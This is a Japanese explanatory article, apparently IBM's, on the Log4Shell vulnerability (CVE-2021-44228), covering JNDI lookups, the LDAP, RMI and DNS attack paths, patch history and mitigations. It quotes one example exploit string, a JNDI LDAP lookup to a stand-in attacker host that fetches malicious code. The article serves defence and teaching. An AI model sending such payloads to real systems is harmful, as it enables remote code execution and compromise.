Log4Shell - 共通脆弱性識別子（CVE）：CVE-2021-44228 - 共通脆弱性スコアリング・システム（CVSS）スコアは10で、重大な脆弱性を示します。これは、広範囲に影響を及ぼし、壊滅的な影響をもたらす可能性があるため、これまでで最も危険な脆弱性の1つと考えられています。
Webアプリケーション、クラウド・サービス、サーバーのような物理的エンドポイントなど、全デジタル資産の推定10パーセントが、Log4Shellが検知された時点で脆弱でした。ハッカーはLog4Shellを使って、データの窃取（データ窃盗）、ランサムウェアのインストール、ボットネット用のデバイスの取得など、ほとんど何でもできます。
クラウド・セキュリティーの研究者がLog4Shellを最初に検知したのは2021年11月のことでした。Apacheは2021年12月にパッチをリリースし、2.17.1以降の全バージョンのLog4JにはLog4Shellとそれに関連する脆弱性はありません。しかし、米サイバーセキュリティー社会基盤安全保障庁（CISA）の報告によると、Log4Shellは依然として最も一般的に悪用されている脆弱性の1つです。Log4Jはソフトウェア・サプライチェーンに広く浸透しているため、脆弱なインスタンスをすべて見つけて修正するには何年もかかる可能性があります。
それまでの間、セキュリティー・チームは、以下で詳しく説明するように、ネットワークへの露出を減らすために他の手順を踏むことができます。
Thinkニュースレター
AI、サイバーセキュリティ、データ、自動化に関する厳選されたニュースをThinkニュースレターで購読しているセキュリティリーダーに加わりましょう。専門家によるチュートリアルと解説をメールで直接配信することで、手軽に学ぶことができます。IBMプライバシー・ステートメントをご覧ください。
サブスクリプションは英語で配信されます。すべてのニュースレターに登録解除リンクがあります。サブスクリプションの管理や解除はこちらから。詳しくはIBMプライバシー・ステートメントをご覧ください。
Log4Shellは、Apache Software Foundationが管理するオープンソースのログ・ライブラリーであるLog4Jに影響します。Log4Jはロガーであり、エラー・メッセージやユーザー・インプットなどの情報やイベントをプログラムに記録するソフトウェア・コンポーネントです。
Log4Jはスタンドアロン・プログラムではなく、開発者がロガーをゼロから構築せずにJavaアプリケーションにプラグインできるコードのパッケージです。Apple、Twitter、Amazon、Microsoft、Cloudflare、Ciscoなどの大手組織は、自社のソフトウェアとサービスでLog4Jを使用しています。
Log4Shell は、脆弱なバージョンのLog4JでJava Naming and Directory Interface（JNDI）ルックアップ置換とメッセージ・ルックアップ置換という2つの関連機能を処理する方法から生まれました。それぞれの機能は単独では無害ですが、相互作用によってハッカーは強力な武器を手に入れることになります。
JNDIは、外部サーバーにホストされているリソースにJavaアプリケーションがアクセスするために使用するアプリケーション・プログラミング・インターフェース（API）です。JNDIルックアップは、サーバーにアクセスしてデータやスクリプトなどの特定のオブジェクトをダウンロードするようにアプリに指示するコマンドです。Log4J 2の古いバージョンでは、この方法でダウンロードされたコードはすべて自動的に実行されます。
メッセージ検索置換を使用すると、ユーザーとアプリは、特定の構文である${prefix:name}を使用して、ログメッセージ内で変数をLog4Jに送信できます。Log4Jは、この構文を検出すると、変数を解決し、ログに値を記録します。たとえば、Log4Jが次のようなメッセージを受信したとします。
${java:version}
これでデバイスで実行されているJavaの現在のバージョンがわかります。ログには、「Java version X.XX」と記録されます。
つまり、Log4Jはメッセージ・ルックアップ置換をプレーンテキストのようには扱いません。それらをコマンドのように扱い、その内容に基づいてアクションを実行します。ハッカーはこの事実を利用して、悪意のあるJNDIルックアップ・コマンドを脆弱なバージョンのLog4Jを実行中のアプリに送信できます。たとえば、ハッカーは次のような文字列をLog4Jに送信できます。
${jndi:ldap://myevilwebsite.biz/maliciouscode}
Log4Jはこのメッセージを受信すると、myevilwebsite.bizのサーバーにアクセスし、/maliciouscodeにあるオブジェクトをダウンロードすることで変数を解決します。このプロセスにより、Log4Jはハッカーがその場所に隠したJavaコード（通常はマルウェア）を実行します。
ハッカーは標準プロトコルを使用してLog4Shellをトリガーできるため、悪意のあるトラフィックが検出を回避しやすくなります。ほとんどのLog4Shell攻撃は、Lightweight Directory Access Protocol（LDAP）、 Remote Method Invocation（RMI）、 またはDomain Name System（DNS）のいずれかのプロトコルを使用します。
LDAPは、さまざまなアプリやサービスがアクセスできる中央の場所にデータを保存するために使用されます。LDAPは、ハッカーがLog4Shellを悪用するために使用する最も一般的な方法です。よくある攻撃の仕組みは次のとおりです。
RMIは、あるデバイス上のアプリが、別のデバイス上のアプリに、情報の共有や機能の実行などの操作を指示できるようにするJavaの機能です。
RMI攻撃はLDAP攻撃とほぼ同じように機能します。ハッカーはRMIサーバーを設定し、ターゲットをだましてサーバーに接続させ、悪意のあるコマンドをターゲットに送り返します。
RMI攻撃はあまり一般的ではありませんが、LDAPトラフィックを完全にブロックする組織が増えているため、一部のハッカーはRMIに移行しています。
ハッカーはDNSを使用してターゲットを探し出します。JNDIルックアップをプログラムに送信し、自身が管理するDNSサーバーに接続するようにプログラムに指示します。DNSサーバーがプログラムからの接続を記録した場合、システムがさらなるLog4Shell悪用のの試みに対して脆弱であることがわかります。
Log4Shellにより、ハッカーは任意のコードを実行できるため、サイバー犯罪者はこの欠陥を利用してさまざまな攻撃を仕掛けることができます。Log4Shellは検知された時点ではゼロデイ脆弱性でもあるため、ハッカーにとって悪用しやすいことを意味します。
初期のLog4Shell攻撃の一部は、所有者の知らない間にデバイスを使用して暗号通貨をマイニングするマルウェアの一種、クリプトジャッカーにコンピューターを感染させました。Miraiボットネットもこの欠陥を利用してデバイスを乗っ取りました。
複数のランサムウェア攻撃がLog4Shellを悪用しました。最も有名なものには、ビデオ・ゲーム、Minecraftを通じて広まったKhonsari株や、VMware Horizonを実行しているシステムを標的としたNightSky株が挙げられます。
アクセス・ブローカーはLog4Shellを使用して、侵害されたシステムにリモート・アクセス型トロイの木馬（RAT）を密かに投入することで、価値の高い企業ネットワークへの足掛かりを築いてきました。次に、これらの足掛かりをサービス型ランサムウェアの関連会社やダークウェブ上の他のハッカーに売ります。
Log4Shellの発見後、Apacheがパッチ適用に取り組んでいたところ、関連するいくつかの欠陥が明らかになりました。最終的に、Log4Shellおよび関連するすべての脆弱性を完全に修正するには4つのパッチが必要でした。
Apacheがリリースした最初のパッチ、Log4Jバージョン2.15.0は、Log4Shellの脆弱性の多くを解決しました。ただし、ハッカーは、デフォルト以外の特定の設定を使用するシステムに悪意のあるJNDIルックアップを送信する可能性がありました。Apacheは、Log4Jバージョン2.16.0でこの欠陥に対処しました。
バージョン2.16.0も不完全であることが判明しました。ハッカーは悪意のあるメッセージ・ルックアップを使用して脆弱なシステムを無限の再帰に送り込み、サービス拒否攻撃を引き起こす可能性があります。Apacheは、この欠陥を修正するためにバージョン2.17をリリースしました。
この欠陥は他の欠陥より深刻度は低く、ハッカーはリモートでコードを実行できますが、まず特権を取得し、ログ設定を変更する必要がありました。Apache は、4 番目のパッチであるLog4Jバージョン2.17.1でこの問題に対処しました。
セキュリティー研究者は、ネットワーク内のすべてのLog4Jインスタンスを最新バージョン、または少なくともバージョン2.17.1に優先的に更新することを組織に強く推奨しています。パッチ適用は、Log4Shellを完全に修復する唯一の方法です。
ただし、セキュリティー・チームは、ネットワーク内のLog4Jのすべてのインスタンスにすぐにパッチを適用できない場合があります。脆弱なLog4J環境は間接的な依存関係として存在することがよくあります。つまり、Log4Jを企業の資産で使用していなくても、使用している他のアプリやサービスを利用しています。Googleによると、脆弱なLog4J環境のほとんどは1レベル以上で、中には9レベルもあります。
Log4Jが間接的な依存関係である場合、セキュリティー・チームがLog4Jを見つけることは非常に困難になります。見つかった場合でも、存在する場所によってはパッチを適用できない場合があります。Log4Jがサードパーティ・アプリで使用されるソフトウェア・パッケージに埋め込まれている場合、セキュリティー・チームはそのベンダー側でLog4Jを更新してもらう必要があります。
Log4Jが直接の依存関係として存在する場合でも、それを見つけるのは難しい場合があります。現在、ソフトウェア開発プロセスは非常に複雑になっており、大規模なチームと膨大な数の既存のコードに依存しています。これらのインスタンスは、開発者自身がコーディングしたものではない、事前に作成されたソフトウェア・パッケージの奥深くに存在する可能性があるため、開発者は、脆弱なバージョンのLog4Jがアプリに含まれていることを認識していないかもしれません。
2022年12月現在、Log4Jのダウンロードの25％が依然としてLog4Shellに対して脆弱です。このことは、人々が新しい資産を構築するためにLog4Jの古いバージョンを使用していることを意味します。
米国国土安全保障省によれば、Log4Jはソフトウェアのサプライチェーンで広く使われているため、脆弱なインスタンスをすべて検知して修正するには少なくとも10年はかかります。
その間、セキュリティー・チームは、ネットワークへの露出を減らすために他の対策を講じることができます。
セキュリティー・チームは、Log4Jでのメッセージ・ルックアップ置換を禁止して、ハッカーのメッセージを実行コマンドではなくプレーン・テキストとしてLog4Jに処理させることができます。
これを行うは2つの方法があります。「log4j2.formatMsgnoLookups」システムプロパティを「true」に設定するか、LOG4J_FORMAT_MSG_NO_LOOKUPS環境変数の値を「true」に設定します。
パッチが適用されていないバージョンのLog4JにはCVE-2021-45046の問題が残っており、デフォルト以外の特定の設定が使用されている場合に、ハッカーが悪意のあるJNDIルックアップを送信できることに注意してください。したがって、メッセージのルックアップを禁止することは、確実な方法ではありません。
Javaアプリはクラスを使用してプログラムが実行できることを定義します。Log4Jでは、「JNDIlookup」クラスがJNDIルックアップを管理します。このクラスがLog4Jのクラス・ディレクトリ（クラスパス）から削除されると、JNDIルックアップを実行できなくなります。
JNDIルックアップを禁止すると、ハッカーは悪意のあるコマンドを送信できなくなりますが、Log4Jの他の機能やそれを使用するアプリにも影響が出る可能性があります。また、クラスのすべてのインスタンスを確実に削除することも困難な場合があります。
組織は、ファイアウォールやその他のサイバーセキュリティー・ツールを使用して、脆弱なインターネットに接続された資産から攻撃者が管理するサーバーへのトラフィックをブロックできます。例えば、セキュリティー・チームは、LDAPまたはRMIプロトコルを使用するすべての接続を禁止するルールを設定できます。
ベンダーやセキュリティー研究者が、パッチが適用されていない残りのインスタンスを見つけるために資産をスキャンしている可能性があるため、受信トラフィックではなく送信トラフィックをブロックすると誤検知を回避できます。
この場合の欠点は、特に組織が正当な理由でLDAPまたはRMIを使用している場合、ファイアウォールが必要な送信接続をブロックしたり、妨げたりする可能性があることです。